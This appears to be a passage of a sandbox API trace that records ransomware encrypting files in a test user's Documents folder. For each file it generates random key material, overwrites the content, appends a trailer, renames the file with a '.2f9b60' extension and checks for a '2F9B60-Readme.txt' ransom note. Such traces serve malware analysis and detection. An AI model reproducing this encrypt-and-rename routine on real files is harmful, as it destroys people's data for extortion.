[0093.432] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\sSeK.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ssek.rtf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd88 [0093.432] GetFileSizeEx (in: hFile=0xd88, lpFileSize=0x22f3fd80 | out: lpFileSize=0x22f3fd80*=13518) returned 1 [0093.432] SetFilePointerEx (in: hFile=0xd88, liDistanceToMove=0x34ca, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.432] ReadFile (in: hFile=0xd88, lpBuffer=0x22f3fd00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x22f3fd48, lpOverlapped=0x0 | out: lpBuffer=0x22f3fd00*, lpNumberOfBytesRead=0x22f3fd48*=0x4, lpOverlapped=0x0) returned 1 [0093.433] SetFilePointerEx (in: hFile=0xd88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.433] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f730 [0093.433] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f4f0 [0093.433] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f6d0 [0093.433] NtQuerySystemTime (in: CurrentTime=0x22f3fc40 | out: CurrentTime=0x22f3fc40*=132462176992702000) returned 0x0 [0093.433] RtlRandomEx (in: Seed=0x22f3fc30 | out: Seed=0x22f3fc30) returned 0x328d3fbf [0093.433] RtlRandomEx (in: Seed=0x22f3fc30 | out: Seed=0x22f3fc30) returned 0x31bdd1a9 [0093.433] RtlRandomEx (in: Seed=0x22f3fc30 | out: Seed=0x22f3fc30) returned 0x8a39d3b [0093.433] RtlRandomEx (in: Seed=0x22f3fc30 | out: Seed=0x22f3fc30) returned 0x3bc8a39 [0093.433] RtlRandomEx (in: Seed=0x22f3fc30 | out: Seed=0x22f3fc30) returned 0x21850616 [0093.433] RtlRandomEx (in: Seed=0x22f3fc30 | out: Seed=0x22f3fc30) returned 0x672fd829 [0093.433] RtlRandomEx (in: Seed=0x22f3fc30 | out: Seed=0x22f3fc30) returned 0x151ebdbb [0093.433] RtlRandomEx (in: Seed=0x22f3fc30 | out: Seed=0x22f3fc30) returned 0x6bf9a715 [0093.433] RtlRandomEx (in: Seed=0x22f3fc30 | out: Seed=0x22f3fc30) returned 0x3a2fb1e9 [0093.433] RtlRandomEx (in: Seed=0x22f3fc30 | out: Seed=0x22f3fc30) returned 0x460b3fa6 [0093.433] RtlRandomEx (in: Seed=0x22f3fc30 | out: Seed=0x22f3fc30) returned 0x2ab1fc8f [0093.433] RtlRandomEx (in: Seed=0x22f3fc30 | out: Seed=0x22f3fc30) returned 0x1591ed86 [0093.433] RtlRandomEx (in: Seed=0x22f3fc30 | out: Seed=0x22f3fc30) returned 0x37cee71 [0093.433] RtlRandomEx (in: Seed=0x22f3fc30 | out: Seed=0x22f3fc30) returned 0x4726c042 [0093.433] RtlRandomEx (in: Seed=0x22f3fc30 | out: Seed=0x22f3fc30) returned 0x7211844e [0093.433] RtlRandomEx (in: Seed=0x22f3fc30 | out: Seed=0x22f3fc30) returned 0x2d83ea5c [0093.433] RtlRandomEx (in: Seed=0x22f3fc30 | out: Seed=0x22f3fc30) returned 0x5957c7f9 [0093.433] RtlRandomEx (in: Seed=0x22f3fc30 | out: Seed=0x22f3fc30) returned 0x4ef741cb [0093.433] RtlRandomEx (in: Seed=0x22f3fc30 | out: Seed=0x22f3fc30) returned 0x70ce91a6 [0093.433] RtlRandomEx (in: Seed=0x22f3fc30 | out: Seed=0x22f3fc30) returned 0x47b063f8 [0093.433] RtlRandomEx (in: Seed=0x22f3fc30 | out: Seed=0x22f3fc30) returned 0x6950c358 [0093.433] RtlRandomEx (in: Seed=0x22f3fc30 | out: Seed=0x22f3fc30) returned 0x7d9b6707 [0093.433] RtlRandomEx (in: Seed=0x22f3fc30 | out: Seed=0x22f3fc30) returned 0x743d5e5d [0093.433] RtlRandomEx (in: Seed=0x22f3fc30 | out: Seed=0x22f3fc30) returned 0x8c70556 [0093.433] RtlRandomEx (in: Seed=0x22f3fc30 | out: Seed=0x22f3fc30) returned 0x3a9ef429 [0093.434] RtlRandomEx (in: Seed=0x22f3fc30 | out: Seed=0x22f3fc30) returned 0x7b276415 [0093.434] RtlRandomEx (in: Seed=0x22f3fc30 | out: Seed=0x22f3fc30) returned 0x4fbdade4 [0093.434] RtlRandomEx (in: Seed=0x22f3fc30 | out: Seed=0x22f3fc30) returned 0x477c71c2 [0093.434] RtlRandomEx (in: Seed=0x22f3fc30 | out: Seed=0x22f3fc30) returned 0x4bd75be2 [0093.434] RtlRandomEx (in: Seed=0x22f3fc30 | out: Seed=0x22f3fc30) returned 0x129d1698 [0093.434] RtlRandomEx (in: Seed=0x22f3fc30 | out: Seed=0x22f3fc30) returned 0xa0e274c [0093.434] RtlRandomEx (in: Seed=0x22f3fc30 | out: Seed=0x22f3fc30) returned 0xed09c8b [0093.440] ReadFile (in: hFile=0xd88, lpBuffer=0x201f5950, nNumberOfBytesToRead=0x34ce, lpNumberOfBytesRead=0x22f3fc30, lpOverlapped=0x0 | out: lpBuffer=0x201f5950*, lpNumberOfBytesRead=0x22f3fc30*=0x34ce, lpOverlapped=0x0) returned 1 [0093.441] SetFilePointerEx (in: hFile=0xd88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.441] WriteFile (in: hFile=0xd88, lpBuffer=0x201f9560*, nNumberOfBytesToWrite=0x34ce, lpNumberOfBytesWritten=0x22f3fc34, lpOverlapped=0x0 | out: lpBuffer=0x201f9560*, lpNumberOfBytesWritten=0x22f3fc34*=0x34ce, lpOverlapped=0x0) returned 1 [0093.443] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f730 [0093.443] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f6d0 [0093.443] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f6d0) returned 1 [0093.443] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f9560) returned 1 [0093.443] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f5950) returned 1 [0093.443] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f210) returned 1 [0093.443] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c120) returned 1 [0093.443] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1b85f6d0 [0093.443] SetFilePointerEx (in: hFile=0xd88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0093.443] WriteFile (in: hFile=0xd88, lpBuffer=0x1694d0*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x22f3fd50, lpOverlapped=0x0 | out: lpBuffer=0x1694d0*, lpNumberOfBytesWritten=0x22f3fd50*=0x102, lpOverlapped=0x0) returned 1 [0093.445] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c120 [0093.445] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f210 [0093.445] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f550 [0093.445] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f550) returned 1 [0093.445] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82d000 [0093.445] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f550 [0093.445] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f490 [0093.445] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f490) returned 1 [0093.445] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f210) returned 1 [0093.445] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c120) returned 1 [0093.445] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21) returned 0x1b85f490 [0093.445] sprintf (in: _Dest=0x1b85f490, _Format="%c%c" | out: _Dest="bc") returned 2 [0093.445] sprintf (in: _Dest=0x1b85f492, _Format="%c%c" | out: _Dest="c9") returned 2 [0093.445] sprintf (in: _Dest=0x1b85f494, _Format="%c%c" | out: _Dest="0e") returned 2 [0093.445] sprintf (in: _Dest=0x1b85f496, _Format="%c%c" | out: _Dest="a6") returned 2 [0093.445] sprintf (in: _Dest=0x1b85f498, _Format="%c%c" | out: _Dest="ce") returned 2 [0093.445] sprintf (in: _Dest=0x1b85f49a, _Format="%c%c" | out: _Dest="5a") returned 2 [0093.445] sprintf (in: _Dest=0x1b85f49c, _Format="%c%c" | out: _Dest="2a") returned 2 [0093.445] sprintf (in: _Dest=0x1b85f49e, _Format="%c%c" | out: _Dest="30") returned 2 [0093.445] sprintf (in: _Dest=0x1b85f4a0, _Format="%c%c" | out: _Dest="86") returned 2 [0093.446] sprintf (in: _Dest=0x1b85f4a2, _Format="%c%c" | out: _Dest="77") returned 2 [0093.446] sprintf (in: _Dest=0x1b85f4a4, _Format="%c%c" | out: _Dest="95") returned 2 [0093.446] sprintf (in: _Dest=0x1b85f4a6, _Format="%c%c" | out: _Dest="7a") returned 2 [0093.446] sprintf (in: _Dest=0x1b85f4a8, _Format="%c%c" | out: _Dest="3a") returned 2 [0093.446] sprintf (in: _Dest=0x1b85f4aa, _Format="%c%c" | out: _Dest="e0") returned 2 [0093.446] sprintf (in: _Dest=0x1b85f4ac, _Format="%c%c" | out: _Dest="18") returned 2 [0093.446] sprintf (in: _Dest=0x1b85f4ae, _Format="%c%c" | out: _Dest="61") returned 2 [0093.446] RtlInitAnsiString (in: DestinationString=0x22f3fdc8, SourceString="bcc90ea6ce5a2a308677957a3ae01861" | out: DestinationString="bcc90ea6ce5a2a308677957a3ae01861") [0093.446] RtlAnsiStringToUnicodeString (in: DestinationString=0x22f3fd98, SourceString="bcc90ea6ce5a2a308677957a3ae01861", AllocateDestinationString=1 | out: DestinationString="bcc90ea6ce5a2a308677957a3ae01861") returned 0x0 [0093.446] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1b82c030 [0093.446] wcscat (in: _Dest=0x1b85f210, _Source="bcc90ea6" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\bcc90ea6") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\bcc90ea6" [0093.446] wcscat (in: _Dest=0x1b85f210, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\bcc90ea6.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\bcc90ea6.2f9b60" [0093.446] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\bcc90ea6.2f9b60", NtPathName=0x22f3fd70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\bcc90ea6.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0093.446] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x1b7ad5c0 [0093.447] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad5c0) returned 1 [0093.447] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x173400) returned 1 [0093.447] NtQueryInformationFile (in: FileHandle=0xd88, IoStatusBlock=0x22f3fdd8, FileInformation=0x22f3fde8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x22f3fdd8, FileInformation=0x22f3fde8) returned 0x0 [0093.447] NtSetInformationFile (FileHandle=0xd88, IoStatusBlock=0x22f3fdd8, FileInformation=0x22f3fde8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0093.449] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f210) returned 1 [0093.449] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0093.449] FlushFileBuffers (hFile=0xd88) returned 1 [0093.450] CloseHandle (hObject=0xd88) returned 1 [0093.451] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b85f210 [0093.451] wcscpy (in: _Dest=0x1b85f210, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0093.451] wcscat (in: _Dest=0x1b85f210, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" [0093.451] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2f9b60-readme.txt")) returned 0x20 [0093.451] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f210) returned 1 [0093.451] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86eaa0) returned 1 Thread: id = 532 os_tid = 0xdd0 [0093.454] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SzE-zT6EvjZ.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\sze-zt6evjz.docx")) returned 0x20 [0093.454] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SzE-zT6EvjZ.docx", dwFileAttributes=0x20) returned 1 [0093.454] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SzE-zT6EvjZ.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\sze-zt6evjz.docx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd88 [0093.455] GetFileSizeEx (in: hFile=0xd88, lpFileSize=0x23d8fdc0 | out: lpFileSize=0x23d8fdc0*=54943) returned 1 [0093.455] SetFilePointerEx (in: hFile=0xd88, liDistanceToMove=0xd69b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.455] ReadFile (in: hFile=0xd88, lpBuffer=0x23d8fd40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x23d8fd88, lpOverlapped=0x0 | out: lpBuffer=0x23d8fd40*, lpNumberOfBytesRead=0x23d8fd88*=0x4, lpOverlapped=0x0) returned 1 [0093.456] SetFilePointerEx (in: hFile=0xd88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.456] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f760 [0093.456] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f6a0 [0093.456] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f640 [0093.456] NtQuerySystemTime (in: CurrentTime=0x23d8fc80 | out: CurrentTime=0x23d8fc80*=132462176992858000) returned 0x0 [0093.456] RtlRandomEx (in: Seed=0x23d8fc70 | out: Seed=0x23d8fc70) returned 0x6ece68df [0093.456] RtlRandomEx (in: Seed=0x23d8fc70 | out: Seed=0x23d8fc70) returned 0x67311dc [0093.456] RtlRandomEx (in: Seed=0x23d8fc70 | out: Seed=0x23d8fc70) returned 0x263c92c5 [0093.456] RtlRandomEx (in: Seed=0x23d8fc70 | out: Seed=0x23d8fc70) returned 0x46fbe782 [0093.456] RtlRandomEx (in: Seed=0x23d8fc70 | out: Seed=0x23d8fc70) returned 0x39fbf495 [0093.456] RtlRandomEx (in: Seed=0x23d8fc70 | out: Seed=0x23d8fc70) returned 0x27f77ba1 [0093.456] RtlRandomEx (in: Seed=0x23d8fc70 | out: Seed=0x23d8fc70) returned 0x3d3cbf50 [0093.456] RtlRandomEx (in: Seed=0x23d8fc70 | out: Seed=0x23d8fc70) returned 0x1c2ef73a [0093.456] RtlRandomEx (in: Seed=0x23d8fc70 | out: Seed=0x23d8fc70) returned 0x44d7c72 [0093.457] RtlRandomEx (in: Seed=0x23d8fc70 | out: Seed=0x23d8fc70) returned 0x13191c02 [0093.457] RtlRandomEx (in: Seed=0x23d8fc70 | out: Seed=0x23d8fc70) returned 0x657ed0f6 [0093.457] RtlRandomEx (in: Seed=0x23d8fc70 | out: Seed=0x23d8fc70) returned 0x44a52b1f [0093.457] RtlRandomEx (in: Seed=0x23d8fc70 | out: Seed=0x23d8fc70) returned 0x7554fdfb [0093.457] RtlRandomEx (in: Seed=0x23d8fc70 | out: Seed=0x23d8fc70) returned 0x207f9ed2 [0093.457] RtlRandomEx (in: Seed=0x23d8fc70 | out: Seed=0x23d8fc70) returned 0x30f46911 [0093.457] RtlRandomEx (in: Seed=0x23d8fc70 | out: Seed=0x23d8fc70) returned 0x71673499 [0093.457] RtlRandomEx (in: Seed=0x23d8fc70 | out: Seed=0x23d8fc70) returned 0xa745964 [0093.457] RtlRandomEx (in: Seed=0x23d8fc70 | out: Seed=0x23d8fc70) returned 0x593e16ba [0093.457] RtlRandomEx (in: Seed=0x23d8fc70 | out: Seed=0x23d8fc70) returned 0x70e5ba75 [0093.457] RtlRandomEx (in: Seed=0x23d8fc70 | out: Seed=0x23d8fc70) returned 0x516842c5 [0093.457] RtlRandomEx (in: Seed=0x23d8fc70 | out: Seed=0x23d8fc70) returned 0x152c27a9 [0093.457] RtlRandomEx (in: Seed=0x23d8fc70 | out: Seed=0x23d8fc70) returned 0x29bb4e36 [0093.457] RtlRandomEx (in: Seed=0x23d8fc70 | out: Seed=0x23d8fc70) returned 0x5b7d2305 [0093.457] RtlRandomEx (in: Seed=0x23d8fc70 | out: Seed=0x23d8fc70) returned 0x1a3d66d7 [0093.457] RtlRandomEx (in: Seed=0x23d8fc70 | out: Seed=0x23d8fc70) returned 0x2763ba0 [0093.457] RtlRandomEx (in: Seed=0x23d8fc70 | out: Seed=0x23d8fc70) returned 0x6be4cf2 [0093.457] RtlRandomEx (in: Seed=0x23d8fc70 | out: Seed=0x23d8fc70) returned 0x1a3c985b [0093.457] RtlRandomEx (in: Seed=0x23d8fc70 | out: Seed=0x23d8fc70) returned 0x2d90389a [0093.458] RtlRandomEx (in: Seed=0x23d8fc70 | out: Seed=0x23d8fc70) returned 0x79920b72 [0093.458] RtlRandomEx (in: Seed=0x23d8fc70 | out: Seed=0x23d8fc70) returned 0x4488cda5 [0093.458] RtlRandomEx (in: Seed=0x23d8fc70 | out: Seed=0x23d8fc70) returned 0x5e2b77d4 [0093.458] RtlRandomEx (in: Seed=0x23d8fc70 | out: Seed=0x23d8fc70) returned 0x25baafd [0093.471] SetFilePointerEx (in: hFile=0xd88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.471] ReadFile (in: hFile=0xd88, lpBuffer=0x201f5950, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x23d8fce0, lpOverlapped=0x0 | out: lpBuffer=0x201f5950*, lpNumberOfBytesRead=0x23d8fce0*=0x3c00, lpOverlapped=0x0) returned 1 [0093.471] SetFilePointerEx (in: hFile=0xd88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.471] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c030 [0093.471] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f210 [0093.471] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f760 [0093.471] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f760) returned 1 [0093.472] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f9560 [0093.472] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f760 [0093.472] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f640 [0093.472] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f640) returned 1 [0093.472] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f210) returned 1 [0093.472] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0093.472] WriteFile (in: hFile=0xd88, lpBuffer=0x201f9560*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x23d8fce0, lpOverlapped=0x0 | out: lpBuffer=0x201f9560*, lpNumberOfBytesWritten=0x23d8fce0*=0x3c00, lpOverlapped=0x0) returned 1 [0093.473] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f9560) returned 1 [0093.473] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f5950) returned 1 [0093.474] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1cd9ebb0 [0093.474] SetFilePointerEx (in: hFile=0xd88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0093.474] WriteFile (in: hFile=0xd88, lpBuffer=0x166ce0*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x23d8fd90, lpOverlapped=0x0 | out: lpBuffer=0x166ce0*, lpNumberOfBytesWritten=0x23d8fd90*=0x112, lpOverlapped=0x0) returned 1 [0093.475] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x166ce0) returned 1 [0093.475] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f4b0) returned 1 [0093.475] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f640) returned 1 [0093.475] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9ebb0) returned 1 [0093.475] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f760) returned 1 [0093.475] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f6a0) returned 1 [0093.476] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f4f0) returned 1 [0093.476] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f730) returned 1 [0093.476] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b7847f0 [0093.476] wcscpy (in: _Dest=0x1b7847f0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SzE-zT6EvjZ.docx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SzE-zT6EvjZ.docx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SzE-zT6EvjZ.docx" [0093.476] wcscat (in: _Dest=0x1b7847f0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SzE-zT6EvjZ.docx.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SzE-zT6EvjZ.docx.2f9b60" [0093.476] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SzE-zT6EvjZ.docx.2f9b60", NtPathName=0x23d8fdb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SzE-zT6EvjZ.docx.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0093.476] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1ce114a0 [0093.477] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce114a0) returned 1 [0093.477] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x173400) returned 1 [0093.477] NtQueryInformationFile (in: FileHandle=0xd88, IoStatusBlock=0x23d8fe18, FileInformation=0x23d8fe28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x23d8fe18, FileInformation=0x23d8fe28) returned 0x0 [0093.477] NtSetInformationFile (FileHandle=0xd88, IoStatusBlock=0x23d8fe18, FileInformation=0x23d8fe28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0093.479] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7847f0) returned 1 [0093.479] FlushFileBuffers (hFile=0xd88) returned 1 [0093.480] CloseHandle (hObject=0xd88) returned 1 [0093.481] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b85f210 [0093.481] wcscpy (in: _Dest=0x1b85f210, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0093.481] wcscat (in: _Dest=0x1b85f210, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" [0093.481] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2f9b60-readme.txt")) returned 0x20 [0093.481] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f210) returned 1 [0093.481] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f290) returned 1 Thread: id = 533 os_tid = 0xdd4 [0093.484] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tDy8.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\tdy8.doc")) returned 0x20 [0093.484] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tDy8.doc", dwFileAttributes=0x20) returned 1 [0093.485] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tDy8.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\tdy8.doc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd88 [0093.485] GetFileSizeEx (in: hFile=0xd88, lpFileSize=0x2404fd00 | out: lpFileSize=0x2404fd00*=66975) returned 1 [0093.485] SetFilePointerEx (in: hFile=0xd88, liDistanceToMove=0x1059b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.485] ReadFile (in: hFile=0xd88, lpBuffer=0x2404fc80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2404fcc8, lpOverlapped=0x0 | out: lpBuffer=0x2404fc80*, lpNumberOfBytesRead=0x2404fcc8*=0x4, lpOverlapped=0x0) returned 1 [0093.486] SetFilePointerEx (in: hFile=0xd88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.486] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f7c0 [0093.486] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f730 [0093.486] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f4f0 [0093.486] NtQuerySystemTime (in: CurrentTime=0x2404fbc0 | out: CurrentTime=0x2404fbc0*=132462176993170000) returned 0x0 [0093.486] RtlRandomEx (in: Seed=0x2404fbb0 | out: Seed=0x2404fbb0) returned 0x6d3d3be0 [0093.486] RtlRandomEx (in: Seed=0x2404fbb0 | out: Seed=0x2404fbb0) returned 0x763cc295 [0093.486] RtlRandomEx (in: Seed=0x2404fbb0 | out: Seed=0x2404fbb0) returned 0x1b690cf4 [0093.486] RtlRandomEx (in: Seed=0x2404fbb0 | out: Seed=0x2404fbb0) returned 0x669fa3b8 [0093.486] RtlRandomEx (in: 